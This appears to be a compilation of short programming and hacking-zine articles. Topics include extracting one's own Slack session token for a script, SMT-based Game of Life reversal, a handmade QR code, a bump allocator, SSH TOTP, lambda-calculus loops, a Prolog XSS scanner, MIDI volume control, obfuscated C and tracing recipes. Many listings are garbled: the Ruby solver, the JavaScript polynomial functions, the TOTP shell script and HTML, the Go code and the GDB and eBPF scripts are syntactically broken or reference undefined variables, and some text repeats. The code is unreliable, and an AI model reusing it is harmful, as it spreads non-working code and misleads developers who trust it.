1. In Firefox's Developer Tools, open the Network tab. F12 on Windows; Ctrl + Shift + E on Linux.
2. Visit a Slack workspace and login.
3. Now, in Network tab of Firefox's Developer Tools, look for a URL with "token=".
4. Use the Filter option to list only the token URL. The token is the string that starts with xoxs-.
5. After the token in the URL, other parameters may be present in the URL. These are of the form &param=value. These are NOT part of the token. Ignore them.

# Running the simple Slack client script
1. Download and install python3.6 on your system.
2. Install the slackclient package in Python.
   pip3 install slackclient
3. Set the value of the environment variable SLACK_API_TOKEN. For example, on a Linux system, open a new bash terminal and run
   export SLACK_API_TOKEN=<the xoxs-... token obtained above>
4. Next, run the script in the same bash terminal.
   If all goes well, you should see something like this
   $ ./simpleSlackClient.py

# Testing the sample Slack client script
With the sample script running, shout out to one of your buddies to send you a Slack message containing the following string - "Show me how to script Slack".

If you do NOT have any buddies, you can open the Direct Message channel to yourself on Slack and send such a message to yourself.

Notice how the automated response appears to be exactly like a message that you would have typed in Slack. This is due to your personal token (xoxs-...) being used in the script. If you create a Slack Bot and use the bot-token (xoxb-...) in the script, then the response from the script would appear to be from your Slack Bot.

# What Next?
If you would like to learn more about scripting/automating Slack, checkout the various docs at https://api.slack.com/
Traveling Back in Time (in Conway's Game of Life)

In this tutorial we reverse the arrow of time. In Conway's Game of Life, the universe is a rectangular grid of cells, either alive or dead. The life in this universe is governed by a cellular automaton that specifies the rules by which cells live and die.

The rules of GOL are easy: Any cell with three neighbors is alive in the next step. Any cell with less than two or more than three neighbors dies. A cell remains alive if it has exactly two neighbors. While very simple, this rule set gives rise to a host of intricate patterns. In fact, someone build a GOL simulator withing GOL itself.

More technically, we use an SMT solver to create a predecessor state for a given output pattern. SMT Solvers are a powerful tool for solving complex logical problems, and they are used in many fields of program analysis. Since the Game of Life is Turing complete, SMT Solvers are very useful tools that belong into every working hackers toolbox. You can find a more in-depth tutorial to use SMT solvers to analyze code here: https://github.com/eqv/honeynet_smt_workshop.

```ruby
#!/bin/env ruby
require './lib/btor.rb'

def parse_string(pattern)
  w = pattern.lines.to_a.first.strip.length
  h = pattern.lines.to_a.length
  out = []
  pattern.lines.each_with_index do |lines,x|
    lines.each_char do |char,y|
      var = [char, y] & (char == 'O')
      out[xx,yy] = v
      vars[var] = w
    end
  end
  return w,h,out
end

def make_vars(b, w,h)
  vars = {}
  
  (0...w).each do |x|
    (0...h).each do |y|
      v = b == var4
      vars[var] = 4
    end
  end
  return vars
end

def constraint_step(b, w, h, vars, out)
  neighbors = [[-1,0],[0,-1],[1,0],[0,1]], [[w-1,0],[0,h-1],[w,h],[w,-1],[0,h+1]]
  x = (x+1) % w
  y = (y+1) % h
  out[xx,yy] = (x==y) & (x==y)
  vars[[x,y]] = v
  return
end

# Automatically generate the constraint
def print_solution(w,h, vars)
  (0...w).each do |x|
    (0...h).each do |y|
      print vars[[x,y]].val == 0 ? " ": "O"
    end
  end
end
```

The pattern that we want to create, "O", shows a living cell, the char "-" a dead one.

This includes our library for SMT solving.

This function turns the pattern above into a map of (x,y) coordinates to bools (alive/dead).

Create one 4 bit integer variable for every cell in the universe.

Add a constraint that ensures all cells are either 1 (alive) or 0 (dead).

Create an array with the offsets to neighbors of a cell: [[-1,-1], [-1,0], ...], and helper constants for the solver.

For each cell in the output, create an expression that contains the count of all living neighbors in the input.

If the cell should be alive, add a constraint that ensures it is alive after one step. Otherwise, add a constraint that ensures it is dead.

Generally, given a function g(s) that can be written as a set of such constraints, we can use an SMT solver to find an input s such that g(s) = x for some target output x. However, this approach has problems scaling to very large or complex functions. This problem is quite similar to the input crafting problem, where we create a variable for each input byte and specify that the program should behave in a specific way. Input crafting is sometimes used to find bugs in real programs.

SMT solvers are very useful tools that belong into every working hackers toolbox. You can find a more in-depth tutorial to use SMT solvers to analyze code here: https://github.com/eqv/honeynet_smt_workshop.

```ruby
# Automatically generate the constraint
```
An artisanal QR code

There is something about taking things apart or rebuilding them from scratch which appeals to hackers — a quest for knowledge.

In this article, we are going to craft a QR code from scratch. QR codes carry error correcting data. The mathematical theory behind these codes is quite complex. The purpose of this article is to show that the actual operations aren’t too complicated. Let’s encode the string “PagedOut!” — using bits and pieces of JavaScript to help along the way.

Our data

QR codes support various encoding schemes. We are going to use binary, as it makes some things simpler. The data is preceded by a header which indicates the scheme and data length. A footer consisting of 0000b followed by alternating 0xec and 0x11 succeeds the data. Our QR code is going to have 21x21 squares (called modules), with 16 bytes of data and 10 bytes of redundancy code.

```javascript
function to_binary(n) {
  return n.toString(2).padStart(8, "0");
}

function polynomial_mul(p, q, mod) {
  var r = [1];
  for (var i=0; i<p.length; i++) {
    a[j] = a[j] ^ gf_mul(b[j], f, mod);
  }
  return r;
}

function polynomial_mod(a, b, mod) {
  var r = a.slice(0);
  for (var i=0; i<a.length; i++) {
    a.shift();
    b.pop();
  }
  return a;
}

function format_info_to_array(format_info) {
  var format_info_array = new Array(format_info.length);
  for (var i=0; i<format_info.length; i++) {
    format_info_array[i] = to_binary(format_info[i]);
  }
  return format_info_array;
}

function format_info_to_string(format_info) {
  var format_info_string = ''; 
  for (var i=0; i<format_info.length; i++) {
    format_info_string += format_info[i];
  }
  return format_info_string;
}
```

Reed-Solomon ECC

Before computing the error correcting code (ecc), we need to compute a generator, which is a product of 11 polynomial multiplications. Our computation method favors readability over speed — QR code libraries typically use log and inverse log lookup tables.

Operations with Galois Fields are performed modulo a number. Addition uses xor.

```javascript
function gf_pow(x, n, mod) {
  var r = 1;
  for (var i=0; i<n; i++) {
    r = gf_mul(r, x, mod);
  }
  return r;
}
```

```javascript
function polynomial_mod(a, b, mod) {
  var r = a.slice(0);
  for (var i=0; i<a.length; i++) {
    a.shift();
    b.pop();
  }
  return a;
}
```

```javascript
function polynomial_mul(p, q, mod) {
  var r = [1];
  for (var i=0; i<p.length; i++) {
    a[j] = a[j] ^ gf_mul(b[j], f, mod);
  }
  return r;
}
```

```javascript
function format_info_to_array(format_info) {
  var format_info_array = new Array(format_info.length);
  for (var i=0; i<format_info.length; i++) {
    format_info_array[i] = to_binary(format_info[i]);
  }
  return format_info_array;
}
```

```javascript
function format_info_to_string(format_info) {
  var format_info_string = ''; 
  for (var i=0; i<format_info.length; i++) {
    format_info_string += format_info[i];
  }
  return format_info_string;
}
```

Decoding QR codes is left as an exercise to the reader — it’s significantly more complicated, with computer vision algorithms coming into play. You might also enjoy writing a QR Quine!
Super Simple but Efficient C Allocator

Agoston Szepessy
agoston.the.dev@gmail.com

We’ll be building a super simple, but very efficient allocator today. While it might seem too simple to be useful in a program, it actually has some uses that I’ll be going over later.

1 How Allocators Work

Allocators are responsible for allocating and freeing memory. The simplest allocator just allocates memory without freeing it which works in some rare situations, but for most programs, there must be a method of freeing the allocated memory. They do this by keeping track of which regions of memory have been given out, so that when they are freed, they can be given out again. We will be using a very simple method of freeing memory that is quite efficient, but only works in some cases. In other words, this allocator is not a general purpose allocator.

2 Super Simple Allocator

Our allocator will reserve a chunk of memory for itself when it starts up. It will allocate blocks of memory contiguously; one after another. It will use two pointers to keep track of things. One will point to the start of the memory region (\texttt{start}), and the other will point to the end of the memory that has been allocated (\texttt{curr_loc}). When the user requests memory, the address of \texttt{curr_loc} is returned, and \texttt{curr_loc} is incremented by the number of bytes the user requested; this marks the memory as allocated. For freeing memory, it will simply mark all memory as free by setting \texttt{curr_loc = start}.

```c
void *start = NULL;
void *curr_loc = NULL;

// Initialize allocator with
// amount of memory you’ll use
void s_init(size_t bytes) {
    start = curr_loc = malloc(bytes);
}

// Get a chunk of memory
void *s_alloc(size_t bytes) {
    void *mem = curr_loc;
    curr_loc = (char *) curr_loc + bytes;
    return mem;
}

// Done with the memory? Mark
// everything you just allocated as
// deallocated
void s_free() {
    curr_loc = start;
}

// Get rid of the memory you
// allocated at the beginning
void s_uninit() {
    free(start);
    start = curr_loc = NULL;
}
```

3 Uses

This allocator can be used in situations where you have a process that will need to use a lot of memory quickly and then deallocate all of it in one go. For example, loading a level in a game; most levels in games have static objects that are around for the entire duration of the level. Since load times need to be quick, an allocator like this could be used to quickly allocate memory and then deallocate it all in one go. Another use could be a JIT; while re-compiling a function, a bunch of memory will need to be allocated for optimizations, and then freed all at once.

4 Further Improvements

This is a super bare bones allocator, so it’s missing quite a few things. The first would be error handling. This assumes (in classic C style) that the user knows exactly what they are doing, and that they will never ask for more memory than what they allocated earlier, otherwise bad things happen. Another improvement that could be made is instead of freeing everything, it could free up to a certain point by passing a pointer to the free function and freeing up until that address.

5 Conclusion

While this is a very basic allocator, it does have some uses. In some situations, as discussed previously, allocators like this one work better than more complicated ones because they have less overhead.
Easy TOTP 2fa for SSH bash shells

https://github.com/4nimanegra/EasyTOTP

The code I present here allows to add a Time-based One Time Password (TOTP) into the SSH login process. I used a non-standard TOTP algorithm based on SHA1 instead of HMAC with different hashes like the standard one for the sake of simplicity. The presented code is not fully tested, so use it at your own risk. On production, you would better use a PAM-based solution.

The algorithm uses, as the standard one, two inputs, a passphrase and the timestamp, processed as described on the following figure.

The presented C program asks for the TOTP code on the server side. It gets a passphrase file path as an argument, where a 48 characters passphrase is stored. The program prompts for the TOTP code and exits with zero if a correct one is provided.

After compiling the code, the binary has to be moved to the user’s home directory:

gcc -o totp totp.c -lcrypto
cp totp /~

Also a file, in this case named mystagetotpfile.txt, has to be created in user’s home directory and filled with the passphrase.

In order to be able to enable the TOTP when the user logs into the system by SSH we have to include the following lines on a file called totp.sh in their home directory:

```
if [ "$SSH_ORIGINAL_COMMAND" = "" ]; then
    if [ "$SSH_CONNECTION" = "" ]; then
        SSH_ORIGINAL_COMMAND=/bin/bash;
        fi;
        AUX=echo $SSH_ORIGINAL_COMMAND | cut -f 1 -d ":";
        if [ "$AUX" = "scp" ]; then
            /totp /~mystagetotpfile.txt;
        else
            if f = "scpenable"; then
            SSH_ORIGINAL_COMMAND; rm /~scpenable;
            fi;
        fi;
    else
        if f = "scpenable"; then
            SSH_ORIGINAL_COMMAND;
            fi;
    fi;
```

Also, the following lines needs to be added to the sshd_config file and the sshd has to be restarted afterwards:

```
Match User username
AllowTcpForwarding no
X11Forwarding no
ForceCommand /home/username/totp.sh
```

Please note that the script disables port forwarding and in order to use scp, a file named scpenable must be placed in user’s home directory.

The HTML/JavaScript code below can be used to generate the TOTP on the client side. It uses Crypto-JS package for calculating SHA1, available on NPM.

It is important to generate the TOTP on a different device than the one used as SSH client.

```
<html>
<script src="sha1-min.js"></script>
<script>
    var data = localStorage.getItem("nypass");
    function generate(){
        localstorage.setItem("nypass",userpass.value);
        data = localstorage.getItem("nypass");
        otppass.style.visibility="";
        otppass.style.visibility="hidden";
        function hideMe(){newotppass.style.visibility="hidden";}
    }
</script>
<body>
    <center>
        <div id="otppass">OK</div>
    </center>
    <div id="pass" size="6">
        New Password
        <button onclick="hideMe();">New Password</button>
    </div>
</body>
</html>
```

```
function newpass(){
    var data = localStorage.getItem("mypass");
    function generate(){
        otppass.style.visibility="hidden";
        otppass.style.visibility="";
        function hideMe(){newotppass.style.visibility="hidden";}
    }
</script>
<body>
    <center>
        <div id="otppass">OK</div>
    </center>
    <div id="pass" size="6">
        New Password
        <button onclick="hideMe();">New Password</button>
    </div>
</body>
</html>
```
Looping with Untyped \(\lambda\)-calculus in Python & Go

Lambda calculus is an important formal system used in theoretical computer science to describe computation. The \(Y\) combinator introduces recursion into this language and is defined as \(\text{if } (\lambda x. f (x(x))) (\lambda x. f (x(x)))\). In this one-pager, we are going to practically derive some of its core ideas. We will use our favorite untyped \(\lambda\)-calculus shell, which is \texttt{ipython3}. Let’s get started.

The rules of \(\lambda\)-calculus only allow the following:

1. Referencing bound variables: given \(x\), we may write \(x\).
2. Defining anonymous functions: given \(e\), we may write \(\lambda x. e\). Formally, this is called lambda abstraction.
3. Calling functions: given \(e\) and \(x\), we may write \(e(x)\). Formally, this is called function application.

This is all we need to describe any computation. We won’t need control flow statements, such as \texttt{if}, \texttt{while}, or \texttt{for}. We won’t define variables and won’t define non-anonymous functions. Of course, \texttt{import os; os.system("python -c'..."}) and \texttt{eval} are prohibited. For convenience, we allow ourselves a bit of arithmetic, namely the \(+\) function.

We will only use \texttt{lambda} and \(+\) to build our own infinite loop. Our goal is to \texttt{print} all natural numbers. We want to call \texttt{print}(n) for all \(n\), til the physical limits of our underlying finite machine (python’s recursion depth) stop us.

Since the \texttt{print} function is given, we reference it (rule 1).

```python
In [1]: print(n)
NameError: name 'n' is not defined
```

Since \(n\) was not given, we get an error. To make \(n\) available in this scope, we build a lambda abstraction (rule 2).

```python
In [2]: lambda n: print(n)
In [2]: <function __main__.<lambda>>
```

We get a valid function. To test it, we apply the function (rule 3) to our starting value, which gives the expected result.

```python
In [3]: (lambda n: print(n))(1)
```

Now, we only need to print the remaining natural numbers. The following recursive function\(^1\) would solve our problem:

```python
def f(n):
    print(n)+f(n+1)
```

Yet, the rules only permit to define anonymous functions. We continue with a trick from mathematics. We just assume stuff! We assume \texttt{f} already exists and also assume \texttt{f} references our current function.

```python
In [4]: lambda n: print(n)+f(n+1)
In [4]: <function __main__.<lambda>>
```

Let’s test.

```python
In [5]: (lambda n: print(n)+f(n+1))(1)
```

There is no magic \texttt{f} in our scope. Since we don’t know \texttt{f}, let’s assume someone will provide it for us.

```python
In [6]: lambda f, n: print(n)+f(n+1)
In [6]: <function __main__.<lambda>>
```

Since \texttt{f} needs to refer to ourselves, we need to pass ourselves along when calling ourselves recursively.

```python
In [7]: lambda f, n: print(n)+f(f(n+1))
In [7]: <function __main__.<lambda>>
```

That escalated quickly!

```python
In [8]: (lambda f, n: print(n)+f(f(n+1)))(..., 1)
```

Works as expected, we print 1 and try to call \(\ldots\) afterwards. Now we need a real implementation for \(f\) instead of \(\ldots\). Our \texttt{f} should be the function we are currently implementing. Copy and paste to the rescue!

```python
In [9]: (lambda f, n: print(n)+f(f(n+1)))(...: lambda f, n: print(n)+f(f(n+1)), 1)
```

Goal achieved!

Debrief. As an exercise to the reader, simplify the previous expression such that it fits in a single line. The solution is below.

```python
(lambda f: f(1))(lambda f, n: print(n)+f(f(n+1)))
```

What is the type of \(f\)? Well, it’s a function, where the first argument is a function, where the first argument is a function, \(...\), and the second argument is a number.

We port our code to Golang – a statically typed language.

```go
package main
import "fmt"

func main() {
    func(f Interface) {
        f(Func(Interface), int))(f, 1)
    } (func(Interface), int) {
        fmt.Println(n)
        f(Func(Interface), int))(f, n+1)
    }
}
```

In fact, whenever we write \texttt{interface{}}, it should be \texttt{func(func(…, int), int), int}). But since Golang, as a statically typed language, does not permit infinite types, we use \texttt{interface{}}, which is a type synonym for \texttt{yolo}.

Cheers.

---

\(^1\)Why can we combine \texttt{print} and \texttt{f} with the \(+\) operator? The function \texttt{print} returns \texttt{None} and \(+\) is not defined on \texttt{None}. We don’t see the expected \texttt{TypeError: unsupported operand type(s) for +, since f never returns. The cool kids say that f diverges.}

---

CC BY 4.0
Quick n' dirty static analysis with Prolog

% This uses SWI-Prolog (8.1.12) and the Acorn JS parser (7.0.0) to scan Javascript code for % HTML attribute reads and their unescaped output into HTML, which can lead to XSS in % web-apps that try to restrict users to a safe subset of HTML.

% Save as po.pl and run with swipl -g main.po.pl FILE [FILE ...] (make sure acorn is on your % PATH, npm install -g acorn should do it).

:- use_module(library(http/json)).

is_node(N) :- % An AST node is is_dict(N), % a dict (tagged key-value collection, equivalent to a JSON object), _{type:_} := N. % with a type property of any value. X <: Y means X is a subset of Y. % Underscores, used here for the dict's tag and the value of the type % property mean "whatever" in Prolog.

node_child(N, C) :- N. = C, is_node(C). % A node's child is a property that's also a node node_child(N, C) :- N. = L, is_list(L), member(C, L), is_node(C). % or, % if the node contains a list (JSON array) - % a node that's one of its members.

node_descendent(N, D) :- node_child(N, D). % A node's descendent is a node's child node_descendent(N, D) :- node_child(N, C), or a descendent of a child. node_descendent(C, D).

concat_expr(N, L, R) :- % String concatenation node (js + operator). _{type:"BinaryExpression", operator: "+", left:L, right:R} := N.

html_string(N) :- % An HTML string is _{type:"Literal", value:V} := N. % a string literal string_chars(V, [\<|\]_]). % that starts with \<.

html_string(N) :- % Or - concat_expr(N, L, _). % a concatenation of an HTML string with anything html_string(L). % (\<div " + whatever is also an HTML string).

attr_read(N) :- % Single-arg call to .attr(), .prop(), .data() or .getAttribute(), _{type:"CallExpression", callee:Callees, arguments:[]} := N, _{type:"MemberExpression", property:Prop} := Callee, _{type:"Identifier", name:PropName} := Prop, % comprised of 3 nested AST nodes. member(PropName, "getAttribute", "attr", "prop", "data").

bingo(N) :- % Stuff like: "<foo>" + "$.bar".attr("hoge").

concat_expr(N, L, R), html_string(L), % Our sink. attr_read(R). % Our source.

% End of interesting stuff - the rest is UI and plumbing (squished a bit to save space).

format_node(String, File, Node) :- % Pretty-printer for grep-like output. {start: Start, end: End, loc: Loc} := Node, Len is End - Start, open(File, read, Stream), seek(Stream, Start, bof, _), read_string(Stream, Len, Codes), close(Stream), format(atom(String), "-s:-d: -s-n", [File, Loc.start.line, Codes]).

parse(File, Ast) :- % Shells out to acorn and reads back the JSON AST. setup_call_cleanup( process_create(path(acorn), ['--locations', file(File)], [stdout(pipe(Out))]), json_read_dict(Out, Ast, []), % Bottleneck, will die with large trees :(

close(Out)).

scan(Files) :- % Files is a list of files to scan.

member(File, Files), % File is any file in the list.
parse(File, Ast), % Ast is the output from acorn in the form of a Prolog dict.
node_descendent(Ast, N), % N is any node in the AST.
bingo(N), % N is interesting.
format_node(S, File, N), % S is a nicely formatted representation.
write(S), % Output our formatted string.
fail. % Failure causes Prolog to look for other solutions.

main :- current_prolog_flag(argv, Files), scan(Files) ; halt. % Runs the thing.
Using a MIDI controller to control your system’s volume
by Alejandro Morales

Nowadays, there’s plenty of MIDI instruments/controllers that you can plug into your PC via USB. You can get a new AKAI LPD8 for a few tens of USD/EUR and used ones run even cheaper!

While these tools were originally meant for music, they also come handy to control other variables that naturally behave in some analog way. Buttons, switches, knobs, sliders, we have them all.

-- Step 1: Node.js --

Go here -> https://nodejs.org download and install.

Node.js is a JavaScript runtime with a huge repository of packages that extend its functionality. Its main tool is called node, and you run it like:

`node [script-name]`

The bundled package manager is called npm, and you use it like:

`npm install [package-name]`

Create a folder somewhere and put a file in it with any name you want e.g. MIDI/midi.js

-- Step 2: MIDI --

Inside your script’s folder, run:

`npm install midi`

After this is done you, can use the midi package inside your script. This is done with the require function:

`require('midi')`

MIDI is a simple protocol that emits messages as they are triggered by user interaction. One type of such a message is called Control Change (CC).

A typical CC message is composed of three bytes that are structured like this:

- 4 bits – status [binary: 1011]
- 4 bits – channel [0-16]
- 8 bits – CC number [0-127]
- 8 bits – value [0-127]

Channels? If you have more than one controller you would normally put them on different channels. CC numbers are just different ID’s for controls that live in the same controller.

-- Step 3: System Audio --

Inside your script’s folder, run:

`npm install loudness`

OR if you’re on Windows

`npm install win-audio`

These packages allow you to interact with your system's audio and set the main volume with a single function call:

`require('loudness').setVolume([0-100])`

OR

`require('win-audio').speaker.set([0-100])`

-- Step 4: Enjoy :) --

Here's the full code that glues everything together:

```javascript
var audio = null;
if(process.platform == 'win32')
  audio = require('win-audio');
else
  audio = require('loudness');

var midi = require('midi');
var input = new midi.Input();
input.on('message', function(d, m) {
  // console.log(m); // debug if needed
  if((m[0]&0xF0) == 0xB0 // 1011 xxxx
    &&(m[0]&0x0F) == 0x00 // channel #0
    && m[1] == 0x01 // controller #1
  ) {
    var v = Math.floor(m[2]/127*80); // capped to 80 so it’s ear-friendly
    if(process.platform == 'win32')
      audio.speaker.set(v);
    else
      audio.setVolume(v);
  }
});
input.openPort(0);
```
Abusing C – Have Fun!

With books like “C Traps and Pitfalls,” “The C Puzzle Book,” and “Obfuscated C and Other Mysteries” it’s not a surprise that C is a language that can be abused.

The International Obfuscated C Code Contest is a contest to write the most obscure C code. It was inspired by Steve Bourne (of the Bourne shell) and his use of the preprocessor to make C look more like Algol-68 with end statement cues.

```
if ...
fi
```

Let’s examine an entry from David Korn, author of the Korn shell! (What’s up with these shell authors?)

```c
main() { printf(&unix["\021%six\012\0"],(unix)["have"]+"fun"-0x60);} 
```

That’s it. Compile it (won’t work on Windows – hint!) and run it for it to just print:

unix

How did it print that? We see unix in the code but not as a string, and it’s not declared like a variable. Running the code through the preprocessor will replace any macros with their values, which is what unix is.

```
$ cpp havefun.c
```

```
# if a is a pointer (e.g. char*)
char *a = "abc";
// then these are all equivalent
a[1];
*(a+1);
*(1+a);
1[a];
```

So 1["\021%six\012\0"] is the second character in that string. Which character? In string literals, \xxx is a character in octal. So \021 is one character, but the index of 1 skips over it. And \012 is a newline, the \0 is an extra NUL character (which isn't needed, perhaps more obfuscation). With the & in front of it we take the address of that % character, it's then the string:

"%six
"

This means the actual function call looks more like this:

```c
printf("%six
", the rest);
```

We can see "%six
" is how we get the ix part. Now for the rest that's put in place of the format argument %s. But we know what it needs to be. How does...

```c
(1)["have"]+"fun"-0x60
```

...give us "un"?

```c
(1)["have"] is the same indexing trick so it resolves to 'a', which equals to a hex value of 0x61 we're adding. There's also a 0x60 we're subtracting. That leaves:
```

```c
1+"fun"
```

A string literal resolves to a pointer to its first character, and adding 1 gives a pointer to the next character, leaving us with the string "un". Replacing it in the format string we get:

```c
printf("unix\n");
```

This originally appeared as a blog post at 
http://faehnri.ch/have-fun/
Programming with 1's and 0's

The first lesson in most computer courses tells us that there are only two states inside a computer memory - 1 and 0. Thing is, how many actually get to program with 1's and 0's? I therefore decided it was time to write a language that consisted solely of those two tokens.

Here's the usual 'Hello World' example...

```
1111100100010111111111110110001100
100101001011111111111101001011111111
1101100001110100101111111111011000
1010111001010111111111100100101111
1101100001110100101111111111011000
0100000000110000110100010100110110
1011011111001110011001101010101101
010101001000101101101110001101000
01000000101001011110010010011111
00000000110000110100010100110110
01010100100101001110010001011111
110110000011010001050011110001000
000000001101000101001101101
1011011111001110011001101010101101
010101001000101101101110001101000
01000000101001011110010010011111
00000000110000110100010100110110
```

The language in question is called Spoon ([https://esolangs.org/wiki/Spoon](https://esolangs.org/wiki/Spoon)) and is a totally (un)original form of Brainf**k! ([https://esolangs.org/wiki/Brainfuck](https://esolangs.org/wiki/Brainfuck)). By determining the most common symbols in BF, we can create a table of them, which are there converted into Huffman codes, as shown here with their C equivalents:

```
1 +    a[ptr]++
000 -    a[ptr]--
010 >    ptr++
011 <    ptr--
0011 }  }//end while
```

It's trivial to write a translator from BF into Spoon, so I won't include one here. However, by using only two symbols Spoon has amusing "code golf"-like games that can be played with it.

Instead of using 1's and 0's, how about using _ and -, so that our original 'hello world' code begins as:

```
_____--_---_-___---
```

Or space and tab, so it appears as:

```
Or 0's and 1's:
00000011011101000
(That is, the symbols have a reverse meaning. Very good for obfuscating an obfuscated language!)
```

Furthermore, since only two symbols are ever used, all other symbols are ignored. In this way you could hide code in ASCII art.

```
As an exercise to the reader, I suggest these problems:
1. Combine multiple pieces of code, with different token pairings, into a single piece of ASCII art.
2. Write code that works as a palindrome.
3. Reverse the meanings of the symbols 0 and 1.
4. Write a quine. (Probably impossible.)
```

By way of a postscript, you'll notice the original version of Spoon adds two instructions to the BF original: I include them here for completeness.

```
00101110 DEBUG
00101111 EXIT
```

Maybe this (old) language will inspire some new thinking!

https://marquisdegeek.com/code_spoon
Never Trust, Always Verify
with Guardicore Infection Monkey, The Industry’s 1st Zero Trust Assessment Tool

The Infection Monkey is an open source Breach and Attack Simulation (BAS) tool that tests your network against the Forrester Zero Trust framework and provides a report with actionable data and recommendations to help you make Zero Trust decisions.

www.infectionmonkey.com

powered by Guardicore

GitHub github.com/guardicore/monkey

---

X-MAS Capture The Flag

A Festive Week-Long CyberSecurity Competition
- Fun problems designed to be challenging for players of all skill levels
- When? 13 - 20 December
- Where? https://xmas.htsp.ro/
- Special prizes prepared for the winners!

If you are interested in sponsoring this event, contact us at hecarlitui.csipm@u@gmail.com
Adding a yield statement to your Go programs – an annotated preprocessor

```go
package main

// import statements here, cut out to save space. Use goimports!

func main() {
    fset := token.NewFileSet()
    f, err := parser.ParseFile(fset, "target.go", nil, 0) // Parse.
    if err != nil { panic(err) }
    ast.Walk(visitor), f
}

type visitor struct{

    func (visitor) Visit(node ast.Node) ast.Visitor {
        return visitor{} }
    
    // We want a function declaration...
    if !strings.HasSuffix(f.Name.Name, "__generator") { return nil }
    // ... but only if it ends with __generator.

    var body []ast.Stmt
    body = append(body,
        stmts("__res := make(chan int, 1)",
            "__sync := make(chan struct{})")...) // We need to create some channels here,
    // because we are going to use
    body = append(body,
        stmts("yield := func(x int) { __res <- x; <- __sync }")...) // goroutines as a easy way of saving
    // and restoring function state!

    body = append(body,
        &ast.GoStmt{Call: &ast.CallExpr{Fun: &ast.FuncLit{Type: &ast.FuncType{Type: &ast.Type{Kind: astereco.Type, Name: "__generator"}}}}},
        &ast.ReturnStmt{Results: []ast.Expr{func() (int, bool) { __sync <- struct{}{}; x, ok := <- __res; return x, ok }}}}
    ) // previously defined yield. Since we're using channels,
    // we also need to augment the original return statements
    // with closing a channel. This is done by convertReturns.

    // The code below generates func() (int, bool) { __sync <- struct{}(); x, ok := <- __res; return x, ok }.
    // __sync <- struct{}() sends a signal to the goroutine that it should continue executing.
    // x, ok := <- __res reads whatever got sent to the channel by yield()
    // return x, ok returns the result and whether the channel got closed (no more yields!).

    body = append(body, &ast.ReturnStmt{Results: []ast.Expr{
        &ast.Field{{Type: ast.NewIdent("__res")}, {Type: ast.NewIdent("__sync")}}},
        &ast.Field{{Type: ast.NewIdent("x")}, {Type: ast.NewIdent("ok")}}},
        &ast.Field{{Type: ast.NewIdent("__generator")}}}) // Strip the suffix from the name.
    return nil
}

func convertReturns(b *ast.BlockStmt) *ast.BlockStmt {
    for i := range b.List {
        if _, ok := b.List[i].(*ast.ReturnStmt); ok { b.List[i] = &ast.BlockStmt{List: stmts("close(__res); return")} }
    }
    return b
}

func stmts(lines ...string) []ast.Stmt {
    // This way we can use parser.ParseExpr() to create a statement list from strings!
    expr, err := parser.ParseExpr("func() (ln, ok) { yield(x); p, pp := pp, pp + p; return 0}"
        if err != nil { panic(err) }
}

Try it yourself with (save as target.go):

```
emergency serial console
no internet, no media, no problem!

A interactive serial RS232 compatible terminal, small enough to type in.

I got the Simulant Retro Wifi Si Modem, that connects to a serial port, acts as a modem emulator and enables old retro computers to connect to modern networks and the Internet via WiFi. My oldest machine is a Fujitsu Lifebook C34S with a Pentium II 266 MHz Processor and 64MB RAM. This Laptop has no network Capabilities (except a built in modem & IrDA) and it seems that I installed Debian 6 the last time I used it. To get this modem emulator to work I have to communicate with it directly over serial in an interactive way, to configure it over its built-in interface. All hints on the Internet how to do it were using additional tools like screen to connect to it as a console, which I couldn't install, because there is no network available and burning a CD was kinda out of the question.

Even transfering a script like miniterm (https://github.com/pyserial/pyserial/blob/master/serial/tools/miniterm.py) via floppy disk didn't work, because the disks I had weren't properly readable and that was the point where I said SCREW THIS! There is a Python 2.6 interpreter on that machine, I’ll write my own serial console.

Even with Python 2.6 it turned out quite well, fitting on a single screen.

from __future__ import print_function
from multiprocessing import Process
device = '/dev/ttyS0' #1 set device

def read():
    print('READING')
    f = open(device, 'rb')
    while True:
        out = f.read(1)
        if out != '':
            print(out, end='')

p = Process(target=read)
p.start()

f = open(device, 'w')
while True:
    inp = raw_input('>')
    f.write(inp + '\r') #2 return char
    f.flush()

Here is the GitHub repository in case you have a more modern Python interpreter to work with https://github.com/bison--/emergencySerialConsole

NOTE:
This console is written in a way that you can re-type it pretty fast on any machine, it lacks some features, though.

HOWTO:
1. Set the device (#1) variable to where your serial device is located, you can find it with dmesg | grep tty.
2. You have to set the baudrate properly to your device with stty -F /dev/ttyS0 1200 and enable “raw” mode with stty -F /dev/ttyS0 raw -echo -echoe -echok
3. You may want to set the “return” character (#2) according to your needs. I tried “\r\n” which worked fine on some BBS boards and on some “\r” worked and on others “\n”.

https://twitter.com/bison_42
https://github.com/bison--
Tracing Recipes!

Did you ever wonder how to find a particular function responsible for some features in a complex program? In order to achieve that, you can use an impressive tracing trick. In the first step, you will go around the program and save all visited functions. After a while, you are going to perform the operation that you want to analyze and print all addresses/symbols of functions that were not called during the first step. In theory, this should reduce the amount of function’s you have to check. Nobody asks you to do it manually! :) Today we will give you three recipes how to accomplish that.

Please note that all examples require the binary to have debugging symbols. All programs are available at: [https://github.com/oshogbo/pagedout-tracing](https://github.com/oshogbo/pagedout-tracing).

GDB

Usage: you have to set TRACE_BIN environment variable to point to the binary you want to trace.

```bash
export TRACE_DUMP="basename "$TRACE_BIN"" .db
nm --format posix $TRACE_BIN | \ awk
BEGIN {
  print "set breakpoint pending on"
}
{ print "b trace_func \"\n  gensub("/0x.*$/, ",", "g", $1) \"} > $TRACE_DUMP

gdb --quiet -x $TRACE_DUMP $TRACE_BIN
```

Then in GDB console:

```bash
while 1
  c
end
```

When you’re done creating the trace - simply interrupt your program with CTRL+C. After that continue execution and perform the action you want to analyze.

DTrace on FreeBSD

Usage:

```bash
dtrace -s script.d -P PROCESS_PID
```
or

```bash
dtrace -s script.d -c BINARY
```
Press F12 to start printing unique functions.

```bash
// Attach to FreeBSD keyboard.
/* This depends on the OS. */
fbt::vkbd_read_char:return
/ args[1] == 0x58/
{ pr = 1; }

/* Create table of known functions. */
pid::target::entry
/ pr != 1 /
{ tab[probefunc] = 1; }

/* Print function name if we didn’t visit it. */
pid::target::entry
/ pr == 1 && tab[probefunc] != 1 /
{ tab[probefunc] = 1; printf("%s", probefunc); }
```

eBPF

Usage:

```bash
python script.py BINARY PROCESS_PID
```
Press CTRL+C to start printing unique functions.

```bash
from bcc import BPF
from ctypes import *
import time, sys, signal

def printe(cpu, data, size):
  global sp
  if not sp:
    return
  print("Addr and convert it to symbol!", addr = cast(  
    data, POINTER(c_ulong)
  ).contents.value
  print("{}\n", format(addr),  
    b.sym(addr, pid))
}
```

```bash
